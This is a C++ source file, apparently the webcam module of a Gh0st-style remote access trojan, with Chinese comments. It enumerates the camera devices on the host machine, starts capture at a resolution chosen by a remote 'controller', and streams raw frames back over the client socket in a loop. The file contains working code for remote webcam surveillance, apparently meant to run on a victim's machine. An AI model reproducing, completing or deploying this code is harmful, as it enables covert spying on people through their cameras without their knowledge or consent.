212 lines
4.9 KiB
C++
212 lines
4.9 KiB
C++
// VideoManager.cpp: implementation of the CVideoManager class.
|
|
//
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
#include "VideoManager.h"
|
|
//////////////////////////////////////////////////////////////////////
|
|
// Construction/Destruction
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
CVideoManager::CVideoManager(CClientSocket *pClient) : CManager(pClient)
|
|
{
|
|
m_bIsWorking = TRUE;
|
|
m_pCapVideo = NULL;
|
|
m_nDevicesNum = 0;
|
|
|
|
m_nVedioWidth = 0;
|
|
m_nVedioHeight = 0;
|
|
|
|
m_nOldWidth = 320; // 默认分辨率 320 x 240
|
|
m_nOldHeight = 240;
|
|
|
|
m_SelectedDevice = 0;
|
|
m_SelectedOld = 0;
|
|
|
|
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
|
|
}
|
|
|
|
CVideoManager::~CVideoManager()
|
|
{
|
|
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
|
|
|
WaitForSingleObject(m_hWorkThread, INFINITE);
|
|
CloseHandle(m_hWorkThread);
|
|
|
|
Destroy();
|
|
}
|
|
void CVideoManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
|
{
|
|
switch (lpBuffer[0])
|
|
{
|
|
case COMMAND_NEXT:
|
|
NotifyDialogIsOpen();
|
|
break;
|
|
case COMMAND_WEBCAM_RESIZE:
|
|
m_SelectedDevice = *((LPDWORD)(lpBuffer + 9));
|
|
ResetScreen(*((LPDWORD)(lpBuffer + 1)), *((LPDWORD)(lpBuffer + 5)));
|
|
break;
|
|
default:
|
|
break;
|
|
}
|
|
}
|
|
// 更改分辨率
|
|
void CVideoManager::ResetScreen(int nWidth, int nHeight)
|
|
{
|
|
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
|
WaitForSingleObject(m_hWorkThread, INFINITE);
|
|
// 更新视频大小
|
|
m_nVedioWidth = nWidth;
|
|
m_nVedioHeight = nHeight;
|
|
|
|
InterlockedExchange((LPLONG)&m_bIsWorking, TRUE);
|
|
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
|
|
}
|
|
|
|
bool CVideoManager::Initialize()
|
|
{
|
|
if (m_pCapVideo == NULL)
|
|
m_pCapVideo = new CCaptureVideo();
|
|
|
|
if (m_pCapVideo == NULL)
|
|
return false;
|
|
|
|
m_DeviceList = "";
|
|
|
|
DeviceInfo devInfo;
|
|
// 枚举视频设备
|
|
if (0 >= (m_nDevicesNum = m_pCapVideo->EnumDevices(&devInfo)))
|
|
{
|
|
delete m_pCapVideo;
|
|
m_pCapVideo = NULL;
|
|
return false;
|
|
}
|
|
|
|
// 构造驱动信息数据
|
|
DeviceInfo* pInfo = &devInfo;
|
|
while(pInfo)
|
|
{
|
|
m_DeviceList += pInfo->friendlyName.GetBuffer();
|
|
m_DeviceList += "#";
|
|
ResolutionInfo* pResInfo = pInfo->resInfo;
|
|
while(pResInfo)
|
|
{
|
|
m_DeviceList+=pResInfo->Resolution.GetBuffer();
|
|
pResInfo = pResInfo->next;
|
|
}
|
|
m_DeviceList+="$";
|
|
pInfo = pInfo->next;
|
|
}
|
|
|
|
// 设置分辨率
|
|
if (m_nVedioWidth && m_nVedioHeight)//如果是更改分辨率的初始化
|
|
{
|
|
if (S_OK != m_pCapVideo->Start(m_SelectedDevice,NULL,m_nVedioWidth,m_nVedioHeight))
|
|
{
|
|
m_pCapVideo->Stop();
|
|
m_pCapVideo->Start(m_SelectedOld,NULL,m_nOldWidth,m_nOldHeight);
|
|
return true;
|
|
}
|
|
}
|
|
else//如果是第一次启动程序
|
|
{
|
|
m_nOldWidth = m_nVedioWidth = 320;
|
|
m_nOldHeight = m_nVedioHeight = 240;
|
|
if (S_OK != m_pCapVideo->Start(m_SelectedDevice,NULL,320,240))
|
|
{
|
|
m_pCapVideo->Stop();
|
|
for(int i = 0;i < m_nDevicesNum;i++)
|
|
{
|
|
if(S_OK == m_pCapVideo->Start(i,NULL,320,240))
|
|
{
|
|
m_SelectedDevice = i;
|
|
m_SelectedOld = i;
|
|
m_nOldWidth = m_nVedioWidth = 320;
|
|
m_nOldHeight = m_nVedioHeight = 240;
|
|
return true;
|
|
}
|
|
m_pCapVideo->Stop();
|
|
}
|
|
return false;
|
|
}
|
|
}
|
|
|
|
m_nOldWidth = m_nVedioWidth;
|
|
m_nOldHeight = m_nVedioHeight;
|
|
|
|
m_SelectedOld = m_SelectedDevice;
|
|
|
|
return true;
|
|
}
|
|
|
|
void CVideoManager::Destroy()
|
|
{
|
|
if (m_pCapVideo)
|
|
{
|
|
m_pCapVideo->Stop();
|
|
delete m_pCapVideo;
|
|
m_pCapVideo = NULL;
|
|
}
|
|
}
|
|
|
|
void CVideoManager::sendBITMAPINFO()
|
|
{ //包头 + 位图信息 +视频个数 + 视频信息
|
|
DWORD dwBytesLength = 1 + sizeof(BITMAPINFO) + sizeof(int) + m_DeviceList.length();
|
|
LPBYTE lpBuffer = new BYTE[dwBytesLength];
|
|
if (lpBuffer == NULL || m_pCapVideo == NULL)
|
|
return;
|
|
|
|
lpBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
|
|
|
memcpy(lpBuffer + 1, m_pCapVideo->GetBmpInfo(), sizeof(BITMAPINFO));
|
|
memcpy(lpBuffer + 1 + sizeof(BITMAPINFO),&m_nDevicesNum,sizeof(int));
|
|
memcpy(lpBuffer + 1 + sizeof(BITMAPINFO) + sizeof(int),m_DeviceList.c_str(),m_DeviceList.length());
|
|
Send(lpBuffer, dwBytesLength);
|
|
|
|
delete [] lpBuffer;
|
|
}
|
|
|
|
// 注意! 此数据包有一无用数据标记
|
|
void CVideoManager::sendNextScreen()
|
|
{
|
|
DWORD dwBmpImageSize = 0;
|
|
LPVOID lpDIB =m_pCapVideo->GetDIB(dwBmpImageSize);
|
|
if (lpDIB == NULL)
|
|
return;
|
|
// token + IsCompress + m_fccHandler + DIB
|
|
int nHeadLen = 1 ;
|
|
UINT nBufferLen = nHeadLen + dwBmpImageSize;//m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage;
|
|
LPBYTE lpBuffer = new BYTE[nBufferLen];
|
|
if (lpBuffer == NULL)
|
|
return;
|
|
|
|
lpBuffer[0] = TOKEN_WEBCAM_DIB;
|
|
|
|
memcpy(lpBuffer + nHeadLen, lpDIB, dwBmpImageSize);
|
|
|
|
Send(lpBuffer, nBufferLen);
|
|
m_pCapVideo->SendEnd();
|
|
|
|
delete [] lpBuffer;
|
|
}
|
|
|
|
DWORD WINAPI CVideoManager::WorkThread( LPVOID lparam )
|
|
{
|
|
CVideoManager *pThis = (CVideoManager *)lparam;
|
|
if (!pThis->Initialize())
|
|
{
|
|
pThis->Destroy();
|
|
pThis->m_pClient->Disconnect();
|
|
return -1;
|
|
}
|
|
pThis->sendBITMAPINFO();
|
|
// 等控制端对话框打开
|
|
pThis->WaitForDialogOpen();
|
|
while (pThis->m_bIsWorking)
|
|
{
|
|
pThis->sendNextScreen();
|
|
}
|
|
// 销毁已经存在实例,方便重新调整
|
|
pThis->Destroy();
|
|
return 0;
|
|
} |